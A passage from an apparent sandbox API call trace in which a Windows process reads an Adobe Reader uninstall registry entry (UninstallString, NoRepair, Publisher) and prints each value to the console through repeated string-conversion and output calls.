lpUsedDefaultChar=0x0) returned 4 [0150.338] GetConsoleOutputCP () returned 0x1b5 [0150.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.338] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.338] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.338] __iob_func () returned 0x7fefd702a80 [0150.338] _fileno (_File=0x7fefd702ab0) returned 1 [0150.338] _errno () returned 0x204bb0 [0150.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.338] _errno () returned 0x204bb0 [0150.338] GetFileType (hFile=0x50) returned 0x1 [0150.338] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.338] GetConsoleOutputCP () returned 0x1b5 [0150.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.338] GetConsoleOutputCP () returned 0x1b5 [0150.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.339] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.339] __iob_func () returned 0x7fefd702a80 [0150.339] _fileno (_File=0x7fefd702ab0) returned 1 [0150.339] _errno () returned 0x204bb0 [0150.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.339] _errno () returned 0x204bb0 [0150.339] GetFileType (hFile=0x50) returned 0x1 [0150.339] lstrlenW (lpString=" ") returned 4 [0150.339] GetConsoleOutputCP () returned 0x1b5 [0150.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.339] GetConsoleOutputCP () returned 0x1b5 [0150.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.339] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.339] __iob_func () returned 0x7fefd702a80 [0150.339] _fileno (_File=0x7fefd702ab0) returned 1 [0150.339] _errno () returned 0x204bb0 [0150.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.339] _errno () returned 0x204bb0 [0150.339] GetFileType (hFile=0x50) returned 0x1 [0150.339] lstrlenW (lpString="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 52 [0150.339] GetConsoleOutputCP () returned 0x1b5 [0150.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.340] GetConsoleOutputCP () returned 0x1b5 [0150.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpUsedDefaultChar=0x0) returned 52 [0150.340] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.340] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.340] __iob_func () returned 0x7fefd702a80 [0150.340] _fileno (_File=0x7fefd702ab0) returned 1 [0150.340] _errno () returned 0x204bb0 [0150.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.340] _errno () returned 0x204bb0 [0150.340] GetFileType (hFile=0x50) returned 0x1 [0150.340] lstrlenW (lpString="\n") returned 1 [0150.340] GetConsoleOutputCP () returned 0x1b5 [0150.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.340] GetConsoleOutputCP () returned 0x1b5 [0150.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.340] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.340] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.340] GetProcessHeap () returned 0x3c0000 [0150.340] GetProcessHeap () returned 0x3c0000 [0150.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.341] GetProcessHeap () returned 0x3c0000 [0150.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.341] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.341] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.341] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.341] GetProcessHeap () returned 0x3c0000 [0150.341] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.341] GetProcessHeap () returned 0x3c0000 [0150.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.341] GetProcessHeap () returned 0x3c0000 [0150.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.341] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.341] __iob_func () returned 0x7fefd702a80 [0150.341] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.341] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.341] _fileno (_File=0x7fefd702ab0) returned 1 [0150.341] _errno () returned 0x204bb0 [0150.341] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.341] _errno () returned 0x204bb0 [0150.341] GetFileType (hFile=0x50) returned 0x1 [0150.341] lstrlenW (lpString=" ") returned 4 [0150.341] GetConsoleOutputCP () returned 0x1b5 [0150.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.341] GetConsoleOutputCP () returned 0x1b5 [0150.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.342] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.342] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.342] lstrlenW (lpString="NoRepair") returned 8 [0150.342] __iob_func () returned 0x7fefd702a80 [0150.342] _fileno (_File=0x7fefd702ab0) returned 1 [0150.342] _errno () returned 0x204bb0 [0150.342] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.342] _errno () returned 0x204bb0 [0150.342] GetFileType (hFile=0x50) returned 0x1 [0150.342] lstrlenW (lpString="NoRepair") returned 8 [0150.342] GetConsoleOutputCP () returned 0x1b5 [0150.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.342] GetConsoleOutputCP () returned 0x1b5 [0150.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0150.342] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.342] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.342] __iob_func () returned 0x7fefd702a80 [0150.342] _fileno (_File=0x7fefd702ab0) returned 1 [0150.342] _errno () returned 0x204bb0 [0150.342] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.342] _errno () returned 0x204bb0 [0150.342] GetFileType (hFile=0x50) returned 0x1 [0150.342] lstrlenW (lpString=" ") returned 4 [0150.342] GetConsoleOutputCP () returned 0x1b5 [0150.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.343] GetConsoleOutputCP () returned 0x1b5 [0150.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.343] __iob_func () returned 0x7fefd702a80 [0150.343] _fileno (_File=0x7fefd702ab0) returned 1 [0150.343] _errno () returned 0x204bb0 [0150.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.343] _errno () returned 0x204bb0 [0150.343] GetFileType (hFile=0x50) returned 0x1 [0150.343] lstrlenW (lpString="REG_DWORD") returned 9 [0150.343] GetConsoleOutputCP () returned 0x1b5 [0150.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.343] GetConsoleOutputCP () returned 0x1b5 [0150.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.343] __iob_func () returned 0x7fefd702a80 [0150.343] _fileno (_File=0x7fefd702ab0) returned 1 [0150.343] _errno () returned 0x204bb0 [0150.344] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.344] _errno () returned 0x204bb0 [0150.344] GetFileType (hFile=0x50) returned 0x1 [0150.344] lstrlenW (lpString=" ") returned 4 [0150.344] GetConsoleOutputCP () returned 0x1b5 [0150.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.344] GetConsoleOutputCP () returned 0x1b5 [0150.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.344] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.344] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.344] __iob_func () returned 0x7fefd702a80 [0150.344] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.344] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.344] _fileno (_File=0x7fefd702ab0) returned 1 [0150.344] _errno () returned 0x204bb0 [0150.344] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.344] _errno () returned 0x204bb0 [0150.344] GetFileType (hFile=0x50) returned 0x1 [0150.344] lstrlenW (lpString="0x1") returned 3 [0150.344] GetConsoleOutputCP () returned 0x1b5 [0150.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.345] GetConsoleOutputCP () returned 0x1b5 [0150.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.345] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.345] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.345] __iob_func () returned 0x7fefd702a80 [0150.345] _fileno (_File=0x7fefd702ab0) returned 1 [0150.345] _errno () returned 0x204bb0 [0150.345] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.345] _errno () returned 0x204bb0 [0150.345] GetFileType (hFile=0x50) returned 0x1 [0150.345] lstrlenW (lpString="\n") returned 1 [0150.345] GetConsoleOutputCP () returned 0x1b5 [0150.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.345] GetConsoleOutputCP () returned 0x1b5 [0150.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.345] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.345] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.345] GetProcessHeap () returned 0x3c0000 [0150.345] GetProcessHeap () returned 0x3c0000 [0150.345] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.345] GetProcessHeap () returned 0x3c0000 [0150.345] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.345] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.346] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.346] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x38) returned 0x0 [0150.346] GetProcessHeap () returned 0x3c0000 [0150.346] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x3a) returned 0x3d9d00 [0150.346] GetProcessHeap () returned 0x3c0000 [0150.346] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0150.346] GetProcessHeap () returned 0x3c0000 [0150.346] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3a [0150.346] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x38 | out: pdwType=0x29f700*=0x1, pvData="Adobe Systems Incorporated", pcbData=0x29f780*=0x36) returned 0x0 [0150.346] __iob_func () returned 0x7fefd702a80 [0150.346] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.346] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.346] _fileno (_File=0x7fefd702ab0) returned 1 [0150.346] _errno () returned 0x204bb0 [0150.346] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.346] _errno () returned 0x204bb0 [0150.346] GetFileType (hFile=0x50) returned 0x1 [0150.346] lstrlenW (lpString=" ") returned 4 [0150.346] GetConsoleOutputCP () returned 0x1b5 [0150.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.346] GetConsoleOutputCP () returned 0x1b5 [0150.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.346] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.346] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.347] lstrlenW (lpString="Publisher") returned 9 [0150.347] __iob_func () returned 0x7fefd702a80 [0150.347] _fileno (_File=0x7fefd702ab0) returned 1 [0150.347] _errno () returned 0x204bb0 [0150.347] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.347] _errno () returned 0x204bb0 [0150.347] GetFileType (hFile=0x50) returned 0x1 [0150.347] lstrlenW (lpString="Publisher") returned 9 [0150.347] GetConsoleOutputCP () returned 0x1b5 [0150.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.347] GetConsoleOutputCP () returned 0x1b5 [0150.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.347] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.347] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.347] __iob_func () returned 0x7fefd702a80 [0150.347] _fileno (_File=0x7fefd702ab0) returned 1 [0150.347] _errno () returned 0x204bb0 [0150.347] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.347] _errno () returned 0x204bb0 [0150.347] GetFileType (hFile=0x50) returned 0x1 [0150.347] lstrlenW (lpString=" ") returned 4 [0150.347] GetConsoleOutputCP () returned 0x1b5 [0150.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.347] GetConsoleOutputCP () returned 0x1b5 [0150.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.348] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.348] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.348] __iob_func () returned 0x7fefd702a80 [0150.348] _fileno (_File=0x7fefd702ab0) returned 1 [0150.348] _errno () returned 0x204bb0 [0150.348] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.348] _errno () returned 0x204bb0 [0150.348] GetFileType (hFile=0x50) returned 0x1 [0150.348] lstrlenW (lpString="REG_SZ") returned 6 [0150.348] GetConsoleOutputCP () returned 0x1b5 [0150.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.348] GetConsoleOutputCP () returned 0x1b5 [0150.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.348] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.348] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.348] __iob_func () returned 0x7fefd702a80 [0150.348] _fileno (_File=0x7fefd702ab0) returned 1 [0150.348] _errno () returned 0x204bb0 [0150.348] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.348] _errno () returned 0x204bb0 [0150.348] GetFileType (hFile=0x50) returned 0x1 [0150.348] lstrlenW (lpString=" ") returned 4 [0150.349] GetConsoleOutputCP () returned 0x1b5 [0150.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.349] GetConsoleOutputCP () returned 0x1b5 [0150.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.349] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.349] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.349] __iob_func () returned 0x7fefd702a80 [0150.349] _fileno (_File=0x7fefd702ab0) returned 1 [0150.349] _errno () returned 0x204bb0 [0150.349] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.349] _errno () returned 0x204bb0 [0150.349] GetFileType (hFile=0x50) returned 0x1 [0150.349] lstrlenW (lpString="Adobe Systems Incorporated") returned 26 [0150.349] GetConsoleOutputCP () returned 0x1b5 [0150.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Systems Incorporated", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0150.349] GetConsoleOutputCP () returned 0x1b5 [0150.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Systems Incorporated", cchWideChar=26, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe Systems Incorporated", lpUsedDefaultChar=0x0) returned 26 [0150.349] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 26 [0150.349] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.350] __iob_func () returned 0x7fefd702a80 [0150.350] _fileno (_File=0x7fefd702ab0) returned 1 [0150.350] _errno () returned 0x204bb0 [0150.350] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.350] _errno () returned 0x204bb0 [0150.350] GetFileType (hFile=0x50) returned 0x1 [0150.350] lstrlenW (lpString="\n") returned 1 [0150.350] GetConsoleOutputCP () returned 0x1b5 [0150.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.350] GetConsoleOutputCP () returned 0x1b5 [0150.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.350] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.350] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.350] GetProcessHeap () returned 0x3c0000 [0150.350] GetProcessHeap () returned 0x3c0000 [0150.350] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0150.350] GetProcessHeap () returned 0x3c0000 [0150.350] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3a [0150.350] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0150.350] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.350] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, 